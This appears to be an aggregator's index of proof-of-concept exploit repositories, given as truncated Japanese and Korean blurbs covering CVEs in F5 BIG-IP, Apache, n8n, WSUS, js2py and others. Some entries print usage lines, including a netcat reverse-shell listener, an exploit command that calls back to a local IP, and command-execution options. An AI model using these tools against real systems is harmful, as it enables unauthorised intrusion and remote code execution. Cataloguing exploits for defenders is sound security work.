CVE-2025-55182

CVE-2025-55182.yaml CVE-2025-55182 poc nuclei -target url -t CVE-2025-55182.yaml nuclei-template에서 수정됨 핵심 코드: root@kitploit: "then":"$1:proto:then","status":"resolvedmodel","reason":-1,"value":""then":"$B1337"","response":"prefix":"var...

CVE-2021-41653

CVE-2021-41653 TP-Link TL-WR840N EU v5 リモートコード実行 参照: https://k4m1ll0.com/cve-2021-41653.html...

CVE-2026-81650 NextGEN Gallery < 4.5.0 - Authenticated Arbitrary File Upload via ZIP Import

The Photo Gallery, Sliders, Proofing and WordPress plugin before 4.5.0 does not correctly validate the extensions of files extracted from an uploaded archive, due to a variable being reused as a loop counter so that the check always passes, allowing users granted its gallery-management capability...

CVE-2026-81650 NextGEN Gallery < 4.5.0 - Authenticated Arbitrary File Upload via ZIP Import

The Photo Gallery, Sliders, Proofing and WordPress plugin before 4.5.0 does not correctly validate the extensions of files extracted from an uploaded archive, due to a variable being reused as a loop counter so that the check always passes, allowing users granted its gallery-management capability...

EUVD-2026-83662

The Photo Gallery, Sliders, Proofing and WordPress plugin before 4.5.0 does not correctly validate the extensions of files extracted from an uploaded archive, due to a variable being reused as a loop counter so that the check always passes, allowing users granted its gallery-management capability...

CVE-2025-55182-PoC

CVE-2025-55182-PoC CVE-2025-55182 の PoC root@kitploit: Usage: python3 poc.py -u http://target.com --cmd "" 法的免責事項 このツールは、教育目的および許可されたセキュリティテスト専用に提供されています。事前に相互の同意なしにターゲットへの攻撃にこのツールを使用することは違法です。開発者は一切の責任を負わず、本プログラムによって引き起こされた誤用や損害についても責任を負いません。 要件 pip install requests 使用方法...

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free-

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free JScript.dll の Use-After-Free によるリモートコード実行 CVE-2025-30397 🧠 説明 このリポジトリには、Windows Server 2025 ビルド 25398 以前 に影響する JScript エンジン jscript.dll の Use-After-Free 脆弱性に対する概念実証 PoC エクスプロイトが含まれています。この脆弱性は、ヒープスプレー技術によるメモリ破壊を悪用してリモートコード実行を可能にします。Po...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell CVE-2024-28397 用のリバースシェル。 エクスプロイトは js2py = v0.74 で動作します。 要件 requests ライブラリ pip install requests Python3 Netcat リバースシェルのリスナーとして使用できるもの 使用方法 リスナー用 root@kitploit: nc -lnvp 4444 エクスプロイト用 root@kitploit: python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11...

CVE-2024-21689

CVE-2024–21689 RCE Bamboo Data Center and Server Atlassian CVSSスコア - 7.6 🔥 説明 この高重大度のRCE（リモートコード実行）脆弱性CVE-2024-21689 は、バージョン9.1.0、9.2.0、9.3.0、9.4.0、9.5.0、および9.6.0のBamboo Data Center and Serverで導入されました。このRCE（リモートコード実行）脆弱性は、CVSSスコア7.6で、認証された攻撃者が任意のコードを実行することを可能にし、機密性、完全性、可用性に対する高い影響があり、ユーザーの操作が必要です...

GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC

GZDoom -file PoC.pk3 正常に動作すれば、自分自身へのリバースシェルが取得できるはずです。 このPoCはLinux専用です。最初の試行で動作しないかもしれません。動作するまで繰り返し試してください。 解説 注記： これは私にとって初めてのエクスプロイトの writeup であり、低レベルの writeup を書くスキルはまだ向上中です。また、デ...

CVE-2017-9805

nuclei CVE-2017-9805.yaml のテスト - struts2 showcase RCE Dockerfile のビルド docker build -t cve-2017-9805 . コンテナの起動と分離 docker run --name cve-2017-9805 -p 127.0.0.1:8080:8080 -dit cve-2017-9805 /bin/bash 実行中コンテナへのログイン docker exec -it cve-2017-9805 /bin/bash Tomcat の起動 $CATALINAHOME/bin/startup.sh...

CVE-2024-31835

CVE-2024-31835 flatpress CMS Flatpress v1.3 には、リモート攻撃者がファイル名パラメータに巧妙に細工したペイロードを注入することで任意のコードを実行できるクロスサイトスクリプティングの脆弱性があります。 影響を受けるコンポーネント: FlatPress CMS 管理パネルのファイルアップロードフィールド 修正版: Flatpress v1.3 - FlatPress バージョン1.3で修正される予定です。 攻撃タイプ: リモート 攻撃ベクトル: 画像ファイル名を細工することで脆弱性を悪用します。 再現手順:...

CVE-2022-37205

CVE-2022-37205 CVE-2022-37205 POC 推奨される説明 RESERVED JFinal CMS 5.1.0 は影響を受ける: SQLインジェクション。これらの インターフェースは同じコンポーネントを使用しておらず、フィルターもありませんが、 それぞれが独自のSQL連結メソッドを使用しており、SQLインジェクションが発生します。 追加情報 https://github.com/AgainstTheLight/someEXPofjfinalcms/blob/main/jfinalcms/sql8.md 脆弱性タイプ SQL Injection ベンダー the...

CVE-2025-67435

CVE-2025-67436 PluXml CMS 5.8.22 における認証済みリモートコード実行 RCE 研究者 : Chowdhury Faizal Ahammed インストール root@kitploit: git clone https://github.com/pluxml/PluXml.git cd PluXml ddev config --project-type=php --php-version=8.1 --docroot=. ddev start 概念実証...

CVE-2021-41773_42013

CVE-2021-41773 および CVE-2021-42013 ラボセットアップ セットアップ root@kitploit: $ git clone https://github.com/vulf/CVE-2021-4177342013 $ cd CVE-2021-4177342013 cd to the directory of your choice $ docker build -t vulnapache . $ docker run -d vulnapache 注: httpd.conf ファイルはデフォルトで RCE...

CVE-2022-1388_refresh

CVE-2022-1388 - refresh BigIP F5 上の CVE-2022-1388 を悪用するための PoC エクスプロイトの使い方 root@kitploit: python3 refresh.py -h usage: refresh.py -h -u URL -f F -c CMD -s SH optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file -c CMD, --command CMD...

CVE-2020-5902

CVE-2020-5902 エクスプロイトコード用の F5-Big-IP CVE-2020-5902 概要 BIG-IP バージョン 15.0.0-15.1.0.3、14.1.0-14.1.2.5、13.1.0-13.1.3.3、12.1.0-12.1.5.1、および 11.6.1-11.6.5.1 において、Traffic Management User Interface TMUI（Configuration ユーティリティとも呼ばれる）に、非公開ページでのリモートコード実行 RCE の脆弱性が存在します。 概念実証 root@kitploit:...

CVE-2024-26574

CVE-2024-26574 Wondershare Filmora v.13.0.51 - 안전하지 않은 권한으로 인한 권한 상승 설명: Wondershare Filmora 및 하위 버전의 안전하지 않은 권한 취약점으로 인해 로컬의 권한이 없는 공격자가 제어 가능한 경로 C:\Users%username%\AppData\Local\Wondershare\Wondershare NativePush에 조작된 스크립트를 통해 SYSTEM으로 임의 코드를 실행할 수 있습니다. 영향받는 구성 요소 경로 권한:...

n8n-Authenticated-Expression-Injection-RCE-CVE-2025-68613

n8n 認証済み式インジェクション RCE – CVE-2025-68613 n8n ワークフロー自動化ツールにおける重大なリモートコード実行 CVSS 9.9 概念実証 – 教育および許可されたセキュリティ研究のみを目的としています ⚠️ 重要な法的警告 このコードは、教育目的および管理されたラボ環境での許可されたセキュリティテストのためだけに提供されています。 本番システムまたは明示的な書面による許可のないシステムへの不正使用は違法であり 、ほとんどの法域でコンピュータ不正使用およびサイバーセキュリティ法に違反します。 使用は自己責任です。著者はいかなる誤用についても責任を負いません。...

cve-2025-59287

CVE-2025-59287 - WSUS 공격 툴킷 제작: adel-h4x0a ⚠️ 교육 및 승인된 테스트 목적으로만 사용하십시오 ⚠️ 개요 이 툴킷은 Windows Server Update ServicesWSUS의 원격 코드 실행 취약점인 CVE-2025-59287의 공격을 시연합니다. 구성 요소 1. 암호화 모듈 cve-2025-59287-encr.py · WSUS 통신을 위한 AES 페이로드 암호화 · 레거시 및 보안 암호화 모드 지원 · 사용자 정의 페이로드 생성 2. 공격 모듈 cve-2025-59287-exp.py ·...